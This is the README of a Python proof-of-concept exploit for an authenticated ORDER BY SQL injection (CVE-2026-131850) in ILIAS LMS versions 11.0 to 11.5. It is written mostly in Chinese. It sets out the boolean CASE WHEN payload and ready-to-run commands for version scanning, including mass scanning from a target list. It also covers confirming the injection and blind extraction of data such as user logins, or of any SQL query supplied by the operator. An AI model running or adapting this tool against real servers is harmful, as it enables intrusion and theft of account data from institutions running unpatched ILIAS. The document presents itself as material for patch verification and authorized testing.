针对 CVE-2026-131850 的 Python 3 PoC —— ILIAS LMS —— 管理后台注册码表格排序中的 SQL 注入(CWE-89):RegistrationCodeRepository::getCodesData() 中未经过滤的 ORDER BY → 盲注布尔 / 数据提取。
仅限授权测试。 仅可在你拥有或已获得书面许可进行测试的 ILIAS 实例上使用。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-131850 |
| 产品 | ILIAS-eLearning/ILIAS |
| 受影响版本 | 11.0.0 – 11.5.x |
| 修复版本 | 11.6 (09b77af) |
| CWE | CWE-89 — SQL 注入 |
| 认证 | 拥有 Administration → Authentication and Registration(listCodes)读取权限的会话 |
| 向量 | vcregistration_code 表排序 → ORDER BY 拼接 |
| PoCbit 目录 | https://pocbit.org/pocs/ |
| PoCbit 页面 | https://pocbit.org/pocs/cve-2026-131850 |
| 成功信号 | CLI 或 JSONL 中出现 sqli_confirmed / status=exploited(dump 模式) |
CLI 模式: check(指纹识别 + 版本对比 11.6)、exploit(布尔 ORDER BY 探测)、dump(盲注标量提取)。批量:-f targets.txt -o recon.jsonl。
在 ILIAS 11.0 – 11.5 中,对注册码管理表格进行排序时,会将用户可控的排序字段和方向传入 SQL,而未进行适当的白名单校验。已认证的管理员(或任何对该管理节点拥有读取权限的账户)可向 ORDER BY 注入,通常通过视图控制 vcregistration_code 以及形如 vcregistration_code[order][0] 的参数结构实现。
11.6 为排序字段增加了标识符白名单和 quoteIdentifier()。
此 PoC 发送:
ORDER BY (CASE WHEN (<condition>) THEN code ELSE role END) ASC
在 (1=1) 与 (1=2) 之间进行差分 HTML 排序可确认注入;dump 模式比较响应指纹,从子查询中提取单个标量(默认:第一个 usr_data.login)。
CVE-2026-131850/
├── poc.py # CLI: check | exploit | dump
├── ilias_core.py # Fingerprint, version, listCodes URL guess
├── ilias_sqli.py # Payloads, boolean probe, blind extract
├── ilias_exploit.py # Exploit orchestration
├── ilias_versions.py # Affected range (< 11.6)
├── requirements.txt
├── targets.example.txt
└── tests/
└── test_versions.py
git clone https://github.com/YOUR_USER/CVE-2026-131850.git
cd CVE-2026-131850
pip install -r requirements.txt
检测 ILIAS,解析页脚/资源版本(ILIAS (v11.5 …)、version=11_5),将 11.x < 11.6 标记为 vulnerable_version。更早的主版本(8/9/10)→ not_in_cve_range。
python poc.py check -u https://ilias.uni.example/
python poc.py check -f targets.txt -o recon.jsonl --insecure --compact -w 8
status | 含义 |
|---|---|
not_ilias | 无 ILIAS 信号 |
vulnerable_version | ILIAS 11.x < 11.6(CVE 在范围内) |
patched | ≥ 11.6 |
not_in_cve_range | 检测到 ILIAS,版本 ≠ 11.x(例如 10.12) |
ilias_unknown_version | 检测到 ILIAS,版本未解析 |
listCodes URL(ilregistrationsettingsgui,ref_id=…)。python poc.py exploit -u https://ilias.uni.example/ \
--cookie "ILIASxxxx=...; PHPSESSID=..." \
--codes-url "https://ilias.uni.example/ilias.php?ref_id=31&cmdClass=ilregistrationsettingsgui&cmd=listCodes"
python poc.py dump -u https://ilias.uni.example/ \
--cookie "..." \
--codes-url "..." \
--dump-len 32
python poc.py dump ... --sql "SELECT login FROM usr_data WHERE usr_id=6 LIMIT 1"
| 参数 | 用途 |
|---|---|
--cookie | 会话头值 |
--codes-url | 精确的管理员 listCodes URL |
--ref-id | 可选;帮助 check 构建 URL 猜测 |
--sql | 用于 dump 模式的内层 SELECT |
--insecure | 跳过 TLS 验证(实验环境 / IP 目标) |
-o PATH | 追加 JSONL(包含 PoCbit 参考字段) |
python -m unittest discover -s tests -v
批量输出行包含:
"pocbit": "https://pocbit.org",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-131850",
"cve": "CVE-2026-131850"
listCodes 上的异常排序参数。仅限用于防御性研究、补丁验证和经授权的渗透测试。作者对滥用行为不承担任何责任。
CVE-2026-131850 — ILIAS 11.0–11.5 authenticated admin ORDER BY SQLi (CWE-89) in RegistrationCodeRepository::getCodesData / listCodes. PoCbit PoC: check (version <11.6), exploit (boolean CASE WHEN sort), dump (blind scalar). Fix ILIAS 11.6. https://pocbit.org/pocs/cve-2026-131850